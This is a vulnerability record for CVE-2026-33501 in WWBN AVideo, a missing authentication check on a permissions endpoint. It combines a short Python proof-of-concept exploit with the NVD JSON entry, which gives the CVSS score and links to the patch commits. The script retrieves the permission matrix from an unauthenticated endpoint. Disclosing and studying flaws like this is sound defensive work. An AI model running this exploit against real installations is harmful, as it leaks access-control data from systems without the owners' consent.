CVE-2026-33501

import requests # Target URL # The vulnerable endpoint allows unauthenticated access to the permission matrix target_url = "http://target_host/plugin/Permissions/View/Users_groups_permissions/list.json.php" try: # Send GET request without authentication headers response = requests.get(target_url) if response.status_code == 200: print("[+] Exploit successful! Permission data retrieved:") print(response.json()) else: print("[-] Request failed or endpoint not reachable.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-33501", "sourceIdentifier": "[email protected]", "published": "2026-03-23T17:16:51.490", "lastModified": "2026-03-24T18:08:01.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the endpoint `plugin/Permissions/View/Users_groups_permissions/list.json.php` lacks any authentication or authorization check, allowing unauthenticated users to retrieve the complete permission matrix mapping user groups to plugins. All sibling endpoints in the same directory (`add.json.php`, `delete.json.php`, `index.php`) properly require `User::isAdmin()`, indicating this is an oversight. Commits dc3c825734628bb32550d0daa125f05bacb6829c and b583acdc9a9d1eab461543caa363e1a104fb4516 contain patches."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 26.0 inclusive, el endpoint 'plugin/Permissions/View/Users_groups_permissions/list.json.php' carece de cualquier verificación de autenticación o autorización, permitiendo a usuarios no autenticados recuperar la matriz de permisos completa que mapea grupos de usuarios a plugins. Todos los endpoints hermanos en el mismo directorio ('add.json.php', 'delete.json.php', 'index.php') requieren correctamente 'User::isAdmin()', indicando que esto es un descuido. Los commits dc3c825734628bb32550d0daa125f05bacb6829c y b583acdc9a9d1eab461543caa363e1a104fb4516 contienen parches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/b583acdc9a9d1eab461543caa363e1a104fb4516", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/commit/dc3c825734628bb32550d0daa125f05bacb6829c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-96qp-8cmq-jvq8", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}